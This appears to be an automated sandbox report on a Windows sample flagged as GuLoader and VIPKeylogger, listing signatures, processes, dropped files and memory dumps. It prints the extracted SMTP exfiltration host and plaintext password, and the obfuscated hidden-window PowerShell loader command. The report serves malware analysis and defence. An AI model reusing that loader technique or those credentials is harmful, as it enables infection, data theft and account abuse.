Analysis
- max time kernel
149s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
09/10/2024, 10:21
General
- Target eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe
- Size 802KB
- Sample241009-mdncjayfrp
- SHA256 eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
-
Email to
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe"C:\Users\Admin\AppData\Local\Temp\eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Wilsonkamret95=Get-Content 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Menise\Knibningen\Eloxals.Fei';$Frkrigstids=$Wilsonkamret95.SubString(3882,3);.$Frkrigstids($Wilsonkamret95)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_n21tc5qc.yym.ps1
Eloxals.Fei
Normeringerne.Ava
memory/1192-28-0x0000000006450000-0x000000000649C000-memory.dmp
memory/1192-41-0x0000000073E0E000-0x0000000073E0F000-memory.dmp
memory/1192-14-0x0000000005540000-0x0000000005562000-memory.dmp
memory/1192-15-0x00000000055E0000-0x0000000005646000-memory.dmp
memory/1192-16-0x0000000005CA0000-0x0000000005D06000-memory.dmp
memory/1192-11-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-23-0x0000000005E10000-0x0000000006164000-memory.dmp
memory/1192-27-0x0000000006420000-0x000000000643E000-memory.dmp
memory/1192-9-0x0000000073E0E000-0x0000000073E0F000-memory.dmp
memory/1192-29-0x00000000073F0000-0x0000000007486000-memory.dmp
memory/1192-30-0x0000000006930000-0x000000000694A000-memory.dmp
memory/1192-31-0x0000000006980000-0x00000000069A2000-memory.dmp
memory/1192-32-0x0000000007A40000-0x0000000007FE4000-memory.dmp
memory/1192-12-0x0000000005670000-0x0000000005C98000-memory.dmp
memory/1192-34-0x0000000008670000-0x0000000008CEA000-memory.dmp
memory/1192-36-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-37-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-43-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-39-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-10-0x0000000002B00000-0x0000000002B36000-memory.dmp
memory/1192-13-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-42-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-38-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-44-0x0000000008CF0000-0x000000000CB10000-memory.dmp
memory/1192-45-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-46-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-47-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-49-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-50-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/1192-51-0x0000000073E00000-0x00000000745B0000-memory.dmp
memory/4028-78-0x0000000024570000-0x0000000024602000-memory.dmp
memory/4028-53-0x0000000077851000-0x0000000077971000-memory.dmp
memory/4028-54-0x00000000778D8000-0x00000000778D9000-memory.dmp
memory/4028-55-0x0000000077851000-0x0000000077971000-memory.dmp
memory/4028-68-0x0000000000A00000-0x0000000001C54000-memory.dmp
memory/4028-71-0x00000000239A0000-0x0000000023A3C000-memory.dmp
memory/4028-69-0x0000000000A00000-0x0000000001C54000-memory.dmp
memory/4028-52-0x0000000001C60000-0x0000000005A80000-memory.dmp
memory/4028-72-0x0000000024630000-0x00000000247F2000-memory.dmp
memory/4028-73-0x0000000023E40000-0x0000000023E90000-memory.dmp
memory/4028-74-0x0000000024D30000-0x000000002525C000-memory.dmp
memory/4028-70-0x0000000000A00000-0x0000000000A4A000-memory.dmp
memory/4028-79-0x0000000021510000-0x000000002151A000-memory.dmp